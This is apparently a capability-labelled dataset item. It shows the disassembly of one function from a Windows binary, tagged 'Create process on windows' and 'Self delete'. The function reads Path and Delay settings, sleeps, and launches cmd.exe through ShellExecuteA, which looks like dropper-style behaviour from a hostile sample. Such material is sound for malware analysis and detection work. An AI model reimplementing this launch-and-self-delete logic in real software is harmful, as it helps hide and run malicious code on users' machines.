Function at 0x426a70
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x120]
push ebx
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
xor eax, eax
push fcn.00426a30
push ebp
push 0x414010
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x5d4670], 0
push 0
lea eax, [ebp - 0x14]
call fcn.00426890
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 8]
mov ecx, str.DirectY
call fcn.00408a60
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00414720
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0xc]
call fcn.00426720
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x426afb
mov eax, dword [eax - 4]
mov dword [0x5d4604], eax
mov eax, dword [ebp - 8]
call fcn.00412db0
mov eax, dword [ebp - 8]
mov edx, 6
call fcn.00445970
lea eax, [ebp - 0x18]
call fcn.00403aa0
push 0xffff
mov edx, dword [ebp - 8]
mov ecx, str.php
lea eax, [ebp - 0x18]
call fcn.00408a60
mov eax, dword [ebp - 0x18]
call fcn.00412db0
lea eax, [ebp - 0x18]
call fcn.00403aa0
push 0xffff
mov edx, dword [ebp - 8]
mov ecx, str.phpext
lea eax, [ebp - 0x18]
call fcn.00408a60
mov eax, dword [ebp - 0x18]
call fcn.00412db0
mov dword [ebp - 4], 0xffffffff
mov esi, esi
add dword [ebp - 4], 1
lea eax, [ebp - 0x18]
call fcn.00403aa0
push 0xffff
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x5d4600]
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x18]
call fcn.00408a60
mov eax, dword [ebp - 0x18]
mov dl, 1
call fcn.00445850
test al, al
jne 0x426be8
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x5d4604]
mov eax, dword [0x5d4670]
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
call fcn.00409780
mov ebx, dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
call fcn.00403aa0
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x5d4600]
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x1c]
call fcn.00408a60
mov eax, dword [ebp - 0x1c]
mov edx, ebx
call fcn.004267d0
mov esi, esi
cmp dword [ebp - 4], 0
jne 0x426bfa
mov dword [0x5d4670], 0x1ece00
jmp 0x426c0a
mov eax, dword [ebp - 4]
mov edx, dword [eax*8 + 0x5d4604]
add dword [0x5d4670], edx
cmp dword [ebp - 4], 0xb
jl 0x426b68
call fcn.00426940
push 0
mov ecx, 0x585d8c
mov edx, 1
mov eax, 0x5d0fa4
mov ebx, 0x5d0fa4
call dword [ebx + 0x68]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
lea esi, [esi]
add dword [ebp - 4], 1
push 0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
call fcn.00403aa0
push 0
push 0xff
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x120]
mov edx, 0xffffffff
call fcn.00404d70
lea ecx, [ebp - 0x20]
xor dx, dx
lea eax, [ebp - 0x120]
call fcn.004091e0
xor cl, cl
xor dx, dx
lea eax, [ebp - 0x20]
call fcn.00409fb0
mov ecx, dword [ebp - 0x20]
mov edx, 0x585d9c
lea eax, [ebp - 0x14]
call fcn.00408a60
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov ecx, str.Path
mov ebx, dword [ebp - 0x10]
mov ebx, dword [ebx]
call dword [ebx + 0x74]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
lea eax, [eax*8 + 0x5d4678]
call fcn.00408960
push 0
push 0
lea eax, [ebp - 0x20]
call fcn.00403aa0
push 0
push 0xff
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x120]
mov edx, 0xffffffff
call fcn.00404d70
lea ecx, [ebp - 0x1c]
xor dx, dx
lea eax, [ebp - 0x120]
call fcn.004091e0
xor cl, cl
xor dx, dx
lea eax, [ebp - 0x1c]
call fcn.00409fb0
mov ecx, dword [ebp - 0x1c]
mov edx, 0x585d9c
lea eax, [ebp - 0x20]
call fcn.00408a60
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
mov ecx, str.Delay
mov ebx, dword [ebp - 0x10]
mov ebx, dword [ebx]
call dword [ebx + 0x84]
mov edx, dword [ebp - 4]
mov dword [edx*8 + 0x5d467c], eax
mov eax, dword [ebp - 4]
push dword [eax*8 + 0x5d467c]
call sub.kernel32.dll_Sleep
push 0
push 0
lea eax, [ebp - 0x20]
call fcn.00403aa0
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x5d4678]
mov edx, 0x585dd4
lea eax, [ebp - 0x20]
call fcn.00408a60
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x426d73
mov eax, 0x5d32f0
push eax
mov eax, str.cmd.exe
push eax
mov eax, str.open
push eax
mov eax, 0x7530
call fcn.0040ee40
add eax, 0x3e8
push eax
call sub.shell32.dll_ShellExecuteA
cmp dword [ebp - 4], 5
jl 0x426c40
mov eax, dword [ebp - 0x10]
call fcn.0040cf30
xor edx, edx
pop eax
add esp, 0xc
mov dword fs:[edx], eax
mov eax, ebp
call fcn.00426a30
pop ebx
mov esp, ebp
pop ebp
ret